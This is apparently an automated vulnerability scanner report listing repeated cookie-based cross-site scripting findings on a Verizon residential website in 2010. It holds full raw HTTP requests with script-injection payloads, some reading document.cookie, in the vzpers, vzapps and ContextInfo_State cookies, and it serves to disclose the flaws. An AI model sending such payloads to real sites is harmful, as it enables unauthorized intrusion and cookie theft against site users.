GET /Residential/aboutFiOS/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXf5079'><script>alert(1)</script>eca1b129867; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload eefca'><script>alert(1)</script>5cd5331fa6b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload c8da8<script>alert(1)</script>d5e60e10ffc was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 2b497<script>alert(1)</script>9d9159b676b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/labs/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX2b497<script>alert(1)</script>9d9159b676b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b917e'><script>alert(1)</script>6e29c101aed was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/labs/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb917e'><script>alert(1)</script>6e29c101aed; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dfc3d'><script>alert(1)</script>9c26e76d6bf was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/reviews/reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXdfc3d'><script>alert(1)</script>9c26e76d6bf; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 19da6<script>alert(1)</script>ab7f85e6843 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/reviews/reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX19da6<script>alert(1)</script>ab7f85e6843; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6f50d'><script>alert(1)</script>e0d60ac13cb was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/widgets/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6f50d'><script>alert(1)</script>e0d60ac13cb; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 19604<script>alert(1)</script>52fdc71012b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/widgets/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX19604<script>alert(1)</script>52fdc71012b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload d2997<script>alert(1)</script>029027b9f5d was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/Reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXd2997<script>alert(1)</script>029027b9f5d; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 35cba'><script>alert(1)</script>cd8e351936c was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/Reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX35cba'><script>alert(1)</script>cd8e351936c; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c96e5'><script>alert(1)</script>0e2533a5727 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXc96e5'><script>alert(1)</script>0e2533a5727; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload fc373<script>alert(1)</script>6d73c0796ef was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXfc373<script>alert(1)</script>6d73c0796ef; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 16312<script>alert(1)</script>8f07045cb3c was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX16312<script>alert(1)</script>8f07045cb3c; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6a84f'><script>alert(1)</script>56609e02d0a was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6a84f'><script>alert(1)</script>56609e02d0a; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 675fb'><script>alert(1)</script>2a4fd6f7fb1 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/wifi HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX675fb'><script>alert(1)</script>2a4fd6f7fb1; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 6641d<script>alert(1)</script>7c0eb744bf6 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/wifi HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6641d<script>alert(1)</script>7c0eb744bf6; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 71a60<script>alert(1)</script>1e212a806e2 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ResidentialHelp/HomePage HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX71a60<script>alert(1)</script>1e212a806e2; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 174687 Expires: Mon, 13 Dec 2010 01:02:20 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 01:02:20 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TX71a60<script>alert(1)</script>1e212a806e2 </span> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 3015d<script>alert(1)</script>ffb848e89e was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ResidentialHelp/Templates/OverView.aspx?NRMODE=Published&NRNODEGUID=%7bCB971C1D-58DB-4072-97CC-3FEF3528A033%7d&NRORIGINALURL=%2fresidentialhelp%2f&NRCACHEHINT=Guest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX3015d<script>alert(1)</script>ffb848e89e; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 174652 Expires: Mon, 13 Dec 2010 01:02:49 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 01:02:49 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TX3015d<script>alert(1)</script>ffb848e89e </span> ...[SNIP]...
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload eb2d5<script>alert(1)</script>093cf5a7e7c was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/LearnShop/Templates/Broadband/Broadband.aspx?NRMODE=Published&NRNODEGUID=%7b6D1C874F-8C8F-4D12-833A-F5C0A068D90E%7d&NRORIGINALURL=%2fResidential%2fInternet%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXeb2d5<script>alert(1)</script>093cf5a7e7c; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3ddcf'><script>alert(1)</script>3ff6e0f8613 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
